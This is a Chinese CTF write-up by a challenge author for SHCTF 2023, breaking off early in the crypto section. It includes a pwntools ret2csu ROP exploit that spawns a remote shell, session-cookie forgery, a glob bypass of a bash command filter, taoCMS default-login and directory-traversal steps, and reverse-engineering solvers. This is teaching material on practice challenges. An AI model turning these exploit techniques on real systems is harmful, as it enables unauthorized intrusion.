警告
本文最后更新于 2023-11-01,文中内容可能已过时。
Intro
这次SHCTF 2023我一共出了19道题(如果有写错的部分,请师傅们见谅)
week1的密码和misc质量很无语,我没出week1的misc 怕放在一起被骂
出的大部分都是动态附件的题目,用于检查py情况
出题情况:
1
2
3
4
5
6
|
Web*4
Pwn*3
Re*3
Crypto*3
Misc*4
Blockchain*2
|
1
2
3
4
|
其中动态附件的题目有
RE: crackme、 喵?喵。喵!(动态靶机生成题目附件)
CRYPTO: 全部
MISC:远在天边近在眼前、尓纬玛
|
作为主要赛事运维,写了几乎所有的docker镜像,(40个)
写wp写不动了,下次再也不出这么多题了
web
[WEEK1]纸飞机
小飞棍来喽
首先查看页面的源代码,可以看到这么一个js文件,一般像这种网页上简单的游戏题,其背后的运行逻辑都是写在JavaScript(js)文件里的,包括达到条件后弹出的flag也会写在里面,所以我们可以从js文件入手
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
<meta http-equiv="content" content="text/html" charset="utf-8"/>
<link rel="stylesheet" type="text/css" href="css/main.css"/>
</head>
<body>
<div id="contentdiv">
<div id="startdiv">
<button onclick="begin()">开始游戏</button>
</div>
<div id="maindiv">
<div id="scorediv">
<label>分数:</label>
<label id="label">0</label>
</div>
<div id="suspenddiv">
<button>继续</button><br/>
<button>重新开始</button><br/>
<button>回到主页</button>
</div>
<div id="enddiv">
<p class="plantext">本次游戏分数</p>
<p id="planscore">0</p>
<div><button onclick="jixu()">继续</button></div>
</div>
</div>
</div>
<script type="text/javascript" src="js/main.js"></script>
</body>
</html>
|
在js文件里可以找到这么一段Unicode编码,同时可以看到这个function里有alert函数(即弹窗作用)
猜测这里存在flag,拿去Unicode解码得到flag
1
2
3
4
|
function won(){
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u0069\u004f\u0057\u0059\u0078\u004f\u0044\u004e\u006a\u004e\u0053\u0030\u0031\u004d\u007a\u0041\u0077\u004c\u0054\u0052\u006d\u004d\u0047\u0045\u0074\u004f\u0044\u0068\u0069\u004f\u0043\u0030\u007a\u004e\u007a\u004d\u0077\u004d\u006d\u0052\u006a\u004d\u0044\u0051\u0030\u005a\u0054\u0052\u0039\u000a";
alert(atob(galf));
}
|
当然这个函数可以直接调用
审计一下的话
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
this.planmove=function(){
if(scores<=5000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+"px";
}
else if(scores>5000&&scores<=10000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+1+"px";
}
else if(scores>10000&&scores<=15000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+2+"px";
}
else if(scores>15000&&scores<=20000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+3+"px";
}
else if(scores>20000&&scores<=30000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+4+"px";
}
else if(scores>30000&&scores<=40000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+5+"px";
}
else if(scores>40000&&scores<=50000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+6+"px";
}
else if(scores>50000&&scores<=60000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+7+"px";
}
else if(scores>60000&&scores<=70000){
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+8+"px";
}
else{
this.imagenode.style.top=this.imagenode.offsetTop+this.plansudu+15+"px";
}
if(scores>99999){
selfplan.imagenode.src="image/boom.png";
enddiv.style.display="block";
planscore.innerHTML=scores;
if(document.removeEventListener){
mainDiv.removeEventListener("mousemove",yidong,true);
bodyobj.removeEventListener("mousemove",bianjie,true);
}
else if(document.detachEvent){
mainDiv.detachEvent("onmousemove",yidong);
bodyobj.removeEventListener("mousemove",bianjie,true);
}
clearInterval(set);
won();
}
}
|
可以知道是在分数大于99999的时候会执行won()
函数
所以也可以改分数
[WEEK2]EasyCMS
启动会稍 慢 一些,请稍等
hint:本题不需要扫描,请不要扫描平台
打开可以知道是taoCMS
,可以搜一下
基本上都需要先登录到后台, 搜一个默认密码登进去后台
跳转的时候,改一下就行
1
|
http://112.6.51.212:32971/admin/admin.php
|
再搜一下,taoCMS的默认密码
在文件管理可以发现,可以目录穿越
根目录读flag就行
[WEEK3]快问快答
1
2
3
4
|
男:尊敬的领导,老师
女:亲爱的同学们
合:大家下午好!
男:伴着优美的音乐,首届SHCTF竞答比赛拉开了序幕。欢迎大家来到我们的比赛现场。
|
解题思路
看源码部分,可以看到一些提示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<body>
<h1>SHCTF 快问快答</h1>
<p class="message">连续答对50题得到flag<br></p class="message">
<form method="POST">
<h3>题目:7715 ÷ 2976 = ?</h3>
<!-- tips: "与" "异或" 就是二进制的"与" "异或" 运算 -->
<!-- 怕写成^ &不认识( -->
<input type="number" placeholder="请输入答案" name="answer" required>
<button type="submit">提交</button>
</form>
<p>你已经答对了0题</p>
<!-- 出错后成绩归零0 -->
<p class="message"></p class="message">
</body>
|
测试可以知道,要求在题目刷新后的1~2秒之间回答
那肯定得用脚本做题了,注意本题的连续答对50次是不是对于整个容器,而是对用户分配了token
所以不能只用requests库的get,至少要用requests的Session
类
出题人EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import requests
import re
import time
session = requests.Session()
url = 'http://112.6.51.212:30442/'
for i in range(50):
# try:
response = session.get(url,verify=False)
x = response.text
# 定义正则表达式模式
pattern = r'<h3>(.*?)</h3>'
# 使用 re 模块的 findall 方法匹配所有符合模式的字符串
result = re.findall(pattern, x)[0].split('=')
print(result)
answer = eval(result[0][3:].replace('x','*').replace('÷','//').replace('异或','^').replace('与','&'))
print(answer)
data = {
'answer': str(answer),
}
time.sleep(1)
x2 = session.post(url,data=data)
# print(x2.text)
print(re.findall(r'<p>(.*?)</p>', x2.text))
print(re.findall(r'<p class="message">(.*?)</p class="message">', x2.text))
print(x2.text)
|
再来看用js的做法,以下exp来自 未定义变量 师傅
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
setTimeout(() => {
source = document.querySelector("body > form > h3").innerText.substr(3).split(' ');
a = parseInt(source[0]); op = source[1]; b = parseInt(source[2]);
calc = (a, op, b) => {
if (op == 'x') {
return a * b;
} else if (op == '+') {
return a + b;
} else if (op == '-') {
return a - b;
} else if (op == '与') {
return a & b;
} else if (op == '÷') {
return a / b;
} else if (op == '异或') {
return a ^ b;
}
}
document.querySelector("body > form > input[type=number]").value = parseInt(calc(a, op, b)).toString();
document.querySelector("body > form > button").click();
}, 500)
|
再来看Nebula
师傅使用 selenium 库 模拟点击的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
url='http://112.6.51.212:32321/'#修改 url 地址即可
driver = webdriver.Edge() # 使用 Edge 浏览器,可以根据需要选择其他浏览器driver.maximize_window() #窗口最大化
driver.get(url)
#访问登录页面
for i in range(50):
problem=driver.find_element(By.TAG_NAME,'h3').text
problem=problem[3:-3]
print(problem)
if '与' in problem:
problem = problem.replace('与', '&')
if '异或' in problem:
problem = problem.replace('异或', '^')
if '÷' in problem:
problem = problem.replace('÷', '//')
if 'x' in problem:
problem = problem.replace('x', '*')
#time.sleep(10)
print('-------------------')
result=eval(problem)
print(result)
print('-------------------')
driver.find_element(By.TAG_NAME,'input').click()
driver.find_element(By.TAG_NAME,'input').send_keys(result)
time.sleep(1)
driver.find_element(By.TAG_NAME,'button').click()
a=driver.find_element(By.TAG_NAME,'p')
input("按 Enter 键关闭浏览器...")
|
学到了学到了
[WEEK3]gogogo
<( ̄︶ ̄)↗[GO!]
下载附件,是用go的gin框架写的后端,cookie-session是由gorilla/sessions来实现,而sessions库使用了另一个库:gorilla/securecookie来实现对cookie的安全传输。
查看源码,发现主要部分在route.go
部分,需要admin才有权限查看文件得到flag
总共有两个路由,一个“/“路由,一个”/readflag"路由
根路由 /
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package main
import (
"main/route"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/readflag", route.Readflag)
r.Run("0.0.0.0:8000")
}
|
最主要的一部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "User"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, User. How to become admin?")
}
|
可以看到,这里将判断是否携带了cookie,如果cookie中的name为空,就将其设置为user。并且有一个细节,无论是否是管理员,根路由永远都会返回
1
|
Hello, User. How to become admin?
|
想到需要伪造session
上面通过获取环境变量中的SESSION_KEY来获取生成secure cookie
。只能对SESSION_KEY进行猜测,猜测并未设置SESSION_KEY。在本地运行程序,将SESSION_KEY置为空从而伪造cookie。
这里将route.go
修改一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == "" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, User. How to become admin?")
}
|
之后在附件目录
命令行go run main.go
之后访问127.0.0.1:8000获取session
得到session
1
|
MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==
|
然后就是readflag
路由下面,如何读取flag
先来看readfile.go
的实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
package readfile
import (
"os/exec"
)
func ReadFile(path string) (string2 []byte) {
defer func() {
panic_err := recover()
if panic_err != nil {
}
}()
cmd := exec.Command("bash", "-c", "strings "+path)
string2, err := cmd.Output()
if err != nil {
string2 = []byte("文件不存在")
}
return string2
}
|
用的bash
终端下的string
函数
再去看正则过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
if reg.MatchString(path) {
http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}
var data []byte
if path != "" {
data = readfile.ReadFile(path)
} else {
data = []byte("请传入参数")
}
|
没过滤 /?a
直接用/??a?
匹配
也就是直接访问
1
|
http://112.6.51.212:32997/readflag?filename=/??a?
|
即可
exp
1
2
3
4
5
|
import requests
cookies = {
'session-name': 'MTY5NjU4NDE0OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXysV4NxGfmmxi8T_k5RdAIUVa9tJvZeKhYCyAgeuPTHYA==',
}
print(requests.get('http://112.6.51.212:32997/readflag?filename=/??a?', cookies=cookies).text)
|
1
2
|
Congratulation! You are admin,But how to get flag?
{"success":"read: flag{Ea5Y_cOMe_Ea5Y_9OoO_0893b76b453f}\n"}
|
pwn
[WEEK1]hard nc
考点是对于linux命令的熟悉程度
使用NC连接
连上就是得到shell的状态
尝试cat flag
1
2
3
|
cat flag
flag not in here
try to find it
|
再找找flag
尝试cat gift2
1
2
|
cat gift2
cat: gift2: Is a directory
|
进去看一下
1
2
3
4
5
6
7
8
|
cd gift2
ls
flag2
cat flag2
ZDEtYTZkOC05YzRhMjEzZmIzYzJ9Cg==
congratulations you find another part of flag
but you need to decode it
try to recall it.
|
得到了一段base64编码后的flag
用https://cyberchef.org/ 解码
发现是半段flag,还需要再找前半段
用ls -al
列出所有文件,包括隐藏文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
ls -al
total 72
drwxr-x--- 1 0 1000 4096 Oct 30 10:14 .
drwxr-x--- 1 0 1000 4096 Oct 30 10:14 ..
-rwxr-x--- 1 0 1000 220 Apr 4 2018 .bash_logout
-rwxr-x--- 1 0 1000 3771 Apr 4 2018 .bashrc
-r--r--r-- 1 0 0 81 Oct 30 10:14 .gift
-rwxr-x--- 1 0 1000 807 Apr 4 2018 .profile
drwxr-x--- 2 0 1000 4096 Sep 26 11:43 bin
drwxr-xr-x 2 0 0 4096 Sep 26 11:43 dev
-r--r--r-- 1 0 0 32 Oct 30 10:14 flag
drwxr-xr-x 2 0 0 4096 Oct 30 10:14 gift2
drwxr-x--- 15 0 1000 4096 Sep 26 11:43 lib
drwxr-x--- 3 0 1000 4096 Sep 26 11:43 lib32
drwxr-x--- 2 0 1000 4096 Sep 26 11:43 lib64
-rwxr-x--- 1 0 1000 8520 Sep 26 11:42 pwn
|
可以看到一个名为.gift
的文件
在Linux 中,文件名以“.”开头的文件会被视为隐藏文件
所以直接ls命令会看不到
1
2
3
4
5
|
cat .gift
flag{8f0fb03b-465e-4c
just a part of flag
try to find another flag
Come on, guys
|
拼接得到完整flag
[WEEK1]口算题
你知道怎么用pwntools吗
交互题
设计了6种运算,随机生成
其中要注意的是除法用的python的除,保留小数点
必须用python计算才是正确的,使用eval函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
context.log_level = 'debug'
r = remote('112.6.51.212',30066)
r.sendlineafter(b"...",'')
for i in range(300):
r.recvline()
tmp = (r.recvline()).decode()[:-3].replace('×','*').replace('÷','/').strip().replace('\\n','')
result = eval(tmp)
r.sendline(str(result))
r.recvline()
print(r.recv())
|
[WEEK3]Start Your PWN!
Stack overflow is the beginning of the journey
考点:ret2csu
read函数可溢出
ida看到libc初始化片段__libc_csu_init
可用,我们可以通过payload布局csu片段
write函数已经执行过,可泄露真实地址,从而利用它获取libc版本
ida可以得到write和main的地址
ropgadget获取可用片段
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
from pwn import*
# p=process('./pwn')
p = remote('112.6.51.212',30082)
libc=ELF('libc-2.31.so')
write_got=0x601018
main_addr=0x400699
pop_addr=0x40076A
mov_addr=0x400750
pop_rdi=0x400773
ret=0x400506
payload=b'a'*0x108+p64(pop_addr)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)+p64(mov_addr)+b'a'*(0x8+8*6)+p64(main_addr)
p.recvuntil('Please:\n')
p.sendline(payload)
write_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(hex(write_addr))
libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b"/bin/sh\x00"))
payload=b'a'*0x108+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(sys)
p.recvuntil('Please:\n')
p.sendline(payload)
p.interactive()
|
reverse
[WEEK1]ez_apk
apk逆向,用GDA反编译
https://github.com/charles2gan/GDA-android-reversing-Tool
找main activity的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
package cn.shenghuo2.ctf.ez_apk.MainActivity;
import androidx.appcompat.app.AppCompatActivity;
import android.widget.EditText;
import java.lang.String;
import java.lang.Object;
import java.security.MessageDigest;
import java.math.BigInteger;
import java.lang.Exception;
import android.os.Bundle;
import android.view.View;
import android.widget.TextView;
import android.widget.Button;
import cn.shenghuo2.ctf.ez_apk.MainActivity$1;
import android.view.View$OnClickListener;
public class MainActivity extends AppCompatActivity // class@000010 from classes3.dex
{
private Object DigestUtils;
private Button button;
private TextView flag;
private EditText input_1;
public void MainActivity(){
super();
}
static EditText access$000(MainActivity x0){
return x0.input_1;
}
public static Object confusion(String str){
try{
MessageDigest md = MessageDigest.getInstance("MD5");
md.update(str.getBytes());
return new BigInteger(1, md.digest()).toString(16);
}catch(java.lang.Exception e0){
e0.printStackTrace();
return null;
}
}
protected void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
this.setContentView(R.layout.activity_main);
String secret = "5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX";
this.flag = this.findViewById(0x7f0800c0);
this.input_1 = this.findViewById(0x7f0800df);
Button uButton = this.findViewById(R.id.button);
this.button = uButton;
uButton.setOnClickListener(new MainActivity$1(this, secret));
}
}
|
confusion
函数不用管,他真的是混淆视线的,都没用到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
class MainActivity$1 implements View$OnClickListener // class@00000f from classes3.dex
{
final MainActivity this$0;
final String val$secret;
void MainActivity$1(MainActivity this$0,String p1){
this.this$0 = this$0;
this.val$secret = p1;
super();
}
public void onClick(View view){
String message = MainActivity.access$000(this.this$0).getText().toString();
String str3 = encrypt.encode(message.getBytes(StandardCharsets.UTF_8));
if (this.val$secret.equals(str3)) {
Toast.makeText(this.this$0.getApplication(), "flag正确", 1).show();
}else {
Toast.makeText(this.this$0.getApplication(), "flag错误,再去撅一会", 0).show();
}
return;
}
}
|
重点就是encrypt.encode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
package cn.shenghuo2.ctf.ez_apk.encrypt;
import java.lang.String;
import java.util.Arrays;
import java.lang.Object;
public class encrypt // class@000011 from classes3.dex
{
private static final char[] ALPHABET;
private static final char ENCODED_ZERO;
private static final int[] INDEXES;
static {
char[] uocharArray = "9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6".toCharArray();
encrypt.ALPHABET = uocharArray;
encrypt.ENCODED_ZERO = uocharArray[0];
int[] ointArray = new int[128];
encrypt.INDEXES = ointArray;
Arrays.fill(ointArray, -1);
int i = 0;
char[] aLPHABET = encrypt.ALPHABET;
while (i < aLPHABET.length) {
encrypt.INDEXES[aLPHABET[i]] = i;
i++;
}
}
public void encrypt(){
super();
}
private static byte divmod(byte[] number,int firstDigit,int base,int divisor){
int remainder = 0;
for (int i = firstDigit; i < number.length; i++) {
int digit = number[i] & 0x00ff;
int ix = remainder * base;
ix = ix + digit;
int ix1 = ix / divisor;
number[i] = (byte)ix1;
remainder = ix % divisor;
}
return (byte)remainder;
}
public static String encode(byte[] input){
if (!input.length) {
return "";
}
int zeros = 0;
while (zeros < input.length && !input[zeros]) {
zeros++;
}
input = Arrays.copyOf(input, input.length);
char[] encoded = new char[(input.length * 2)];
int outputStart = encoded.length;
int inputStart = zeros;
while (inputStart < input.length) {
outputStart--;
encoded[outputStart] = encrypt.ALPHABET[encrypt.divmod(input, inputStart, 256, 58)];
if (!input[inputStart]) {
inputStart++;
}
}
while (outputStart < encoded.length && encoded[outputStart] == encrypt.ENCODED_ZERO) {
outputStart++;
}
zeros--;
while (zeros >= 0) {
outputStart--;
encoded[outputStart] = encrypt.ENCODED_ZERO;
}
return new String(encoded, outputStart, (encoded.length - outputStart));
}
}
|
关于如何发现这是base58的换表,有几个思路:
密文
1
|
5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX
|
被替换的表
1
|
9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6
|
exp
1
|
print(__import__('base58').b58decode("5TAYhycAPT1aAd535TGdWYQ8CvfoRjErGEreqhDpqv1LydTqd3mxuK2hhUp9Pws3u9mq6eX".translate(str.maketrans("9LfnoVpi1HrzBSKxhNFeyY745R2g3QmqsTCZJuDvcMdkE8wPGbUXajtAW6", "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"))).decode())
|
用在线网站也行:如cyberchef
1
|
flag{Jue_1_ju3_Y0ung_and_G0at_1s_go0d_for_yOuR_body}
|
[WEEK3]crackme
先确定文件类型
lua字节码
找个软件反编译,我推荐的是unluac
java最大的特点就是跨平台,所以环境好配,其他还有什么c配环境很麻烦
1
|
java -jar unluac_2023_07_04.jar crackme >> crackme.lua
|
还原出来lua源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
print("please input your flag:")
flag = io.read()
code = {}
secret = {
54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 519, 523, 3, 525, 522, 517, 3, 570, 570, 59, 62, 566, 551, 31, 1, 594, 117, 15
}
l = string.len(flag)
for i = 1, l do
num = ((string.byte(flag, i) + i) % 333 + 444) % 555 - 1
table.insert(code, num)
end
for i = 1, l do
x = i - 1
if i + 2 >= l then
code[i] = code[i % l + 1] ~ code[(i + 1) % l + 1]
else
code[i] = code[(i + 1) % l] ~ code[(i + 2) % l]
end
end
for i = 1, l do
if secret[i] ~= code[i] then
print("Incorrect")
return
end
end
print("You win,flag is", flag)
|
一个数组按位加密的过程,lua和其他语言有一个很大的不同就是数组下标(index)从1开始
具体加密过程,看不懂的自己问gpt
这里提供两个exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
import string
# 定义一个字符串code_,用于存储输入的字符
code_ = [54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 519, 523, 3, 525, 522, 517, 3, 570, 570, 59, 62, 566, 551, 31, 1, 594, 117, 15]
# 定义一个字符串flag_,用于存储输出的字符
flag_ = 'flag{'
print(len(code_))
# 定义一个变量x,用于记录当前循环的位置
x = 3
# 循环执行,直到x等于code_的长度减1
while True:
# 如果x等于code_的长度减1,则跳出循环
if x == len(code_)-1:
break
# 循环执行,每次循环都会更改flag_的值
for s in string.printable:
flag = flag_+s+'0'
code = ''
l = len(flag)
# 循环执行,每次循环都会更改code的值
for i in range(l):
num = ((ord(flag[i]) + i) % 333 + 444) % 555
code += chr(num)
# 将code转换为字符串
code = list(map(ord, code))
# 循环执行,每次循环都会更改code的值
for i in range(l):
code[i] = code[i] ^ code[(i + 1) % l] ^ code[(i + 2) % l] ^ code[i]
# 如果code[x]等于code_[x],则打印flag_,并将x加1
if code[x] == code_ [x]:
print(flag_)
# print(x)
x += 1
flag_+=s
print(flag_)
break
# 这段代码使用了一个while循环来遍历字符串printable中的每个字符s,将s与'0'连接起来,得到一个新字符串flag。然后,它创建了一个空字符串code,长度与flag相同。接下来,它使用一个for循环遍历flag中的每个字符,计算每个字符的ASCII码,并将结果添加到code中。最后,它使用一个for循环遍历code中的每个字符,执行异或操作。在每次迭代中,它会将当前字符与前面的两个字符进行异或操作,并将结果存储在code中。
# 在循环中,它会检查x是否等于code_的长度减1。如果是,则跳出循环。然后,它会继续遍历字符串printable,将每个字符与'0'连接起来,直到得到一个长度与code_相同的字符串flag。接下来,它会更新x的值,使其等于当前字符的索引加1。最后,它会将当前字符添加到flag中,并打印flag。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import string
# 定义一个函数,用于计算字符串中的每一个字符的异或值
secret = [54, 57, 566, 532, 1014, 1, 7, 508, 10, 12, 498, 494, 6, 24, 14, 20, 489, 492, 0, 10, 490, 498, 517, 539, 21, 528, 517, 530, 543, 9, 13, 0, 4, 51, 562, 518, 519, 523, 3, 525, 522, 517, 3, 570, 570, 59, 62, 566, 551, 31, 1, 594, 117, 15]
# 计算字符串长度
l = len(secret)
flag = ''
# 将字符串中的最后一个字符的异或值设置为最后一个字符的字符串长度减一
secret[-1] = ((ord('}') + l-1) % 333 + 444) % 555
# 遍历字符串中的每一个字符
for i in range(l-2, 0, -1):
# 遍历字符串中的每一个字符,并且每次循环的字符串长度为当前字符的字符串长度减一
for j in string.printable:
# 如果当前字符的异或值与最后一个字符的异或值相等,则将当前字符的异或值设置为下一个字符的异或值
if secret[i+1] ^ secret[i-1] == (((ord(j) + i + 1) % 333 + 444) % 555):
secret[i] = secret[i+1] ^ secret[i-1]
break
# 遍历字符串中的每一个字符
for i in range(l):
# 遍历字符串中的每一个字符,并且每次循环的字符串长度为当前字符的字符串长度
for j in string.printable:
# 如果当前字符的异或值与最后一个字符的异或值相等,则将当前字符的字符串追加到字符串中
if ((ord(j) + i) % 333 + 444) % 555 == secret[i]:
flag += j
break
# 输出计算结果
print('f' + flag)
|
好像差不多意思 ,都是按位爆破
1
|
QLNU{C000ngr4tulat1ons!Y0u_Cr4cked_m3!!!}
|
[WEEK3]喵?喵。喵!
请 开启实例, 稍等十几秒后,使用浏览器访问获取附件 若未响应请再稍等一会
1
|
喵喵喵喵喵喵喵喵;喵喵喵喵;喵;喵;喵喵;喵喵喵喵喵喵喵喵喵喵;喵喵喵喵;喵喵;喵;;喵喵喵;喵喵喵喵;喵喵;喵喵喵喵;喵喵喵;喵喵喵喵喵喵;喵喵喵喵;喵喵喵;喵喵喵喵喵;喵喵;喵喵喵;喵喵喵喵喵;喵喵喵;喵喵喵;喵喵;喵;喵喵喵喵喵喵喵;喵喵喵喵喵喵喵喵喵;喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵;喵喵喵喵喵喵喵喵;喵喵喵喵喵喵;喵喵喵;喵喵喵喵喵喵喵喵喵喵;
|
hint:The title description doesn’t help, don’t dwell on it
描述里的这段,其实是 meowlang
的一段示例程序
效果是输出一串斐波那契数列数量的猫咪emoji
所以不用管他
这题我也不理解为什么会卡住,可能是ida反编译go的程序过于抽象
详细题解得等到农历新年左右才有时间写了
动调一下就能看到
这是 李青帝 师傅的题解
iv是SHCTF_2023_S0_e4sy_m1ao
的前十六位
key是SHCTF_2023_S0_e4sy_m1ao
的后十六位
然后解AES即可
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
|
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
key = b"SHCTF_2023_S0_e4sy_m1ao"[-16:]
iv = b"SHCTF_2023_S0_e4sy_m1ao"[:16]
aes = AES.new(key, AES.MODE_CBC,iv)
flag = "nGxlpPB/DX81FlvivUfr/Nq/QEzHabQmtrUYr8f8idE2XgVB8Gi+/KpbTIhLfGIYMaeYhziq7ur3GyfB65+Jog=="
encrypt_flag = unpad(aes.decrypt(base64.b64decode(flag.encode())),AES.block_size).decode()
print(encrypt_flag)
|
附赠一份题目源码
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"time"
)
func main() {
f1ag := "nGxlpPB/DX81FlvivUfr/Nq/QEzHabQmtrUYr8f8idE2XgVB8Gi+/KpbTIhLfGIYMaeYhziq7ur3GyfB65+Jog=="
var flag string
typeWriter("请输入你的 flag 喵 :")
fmt.Scanln(&flag)
key := []byte("SHCTF_2023_S0_e4sy_m1ao")
data, _ := imReallyIsAESencrypt([]byte(flag), key)
if f1ag == base64.StdEncoding.EncodeToString(data) {
typeWriter("flag正确喵")
} else {
typeWriter("flag错误喵\n又到了每周撅群主得flag的时候了喵")
}
}
func typeWriter(text string) {
for _, r := range text {
fmt.Printf("%c", r)
time.Sleep(time.Millisecond * 150)
}
}
func Padding(plaintext []byte, blockSize int) []byte {
padding := blockSize - len(plaintext)%blockSize
paddingText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(plaintext, paddingText...)
}
func imReallyIsAESencrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key[len(key)-aes.BlockSize:])
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
return encrypted, nil
}
|
crypto
[WEEK1]what is m
这串神秘的数字怎么恢复成flag呢
1
2
3
4
5
6
7
|
from Crypto.Util.number import bytes_to_long
from secret import flag
m = bytes_to_long(flag)
print("m =",m)
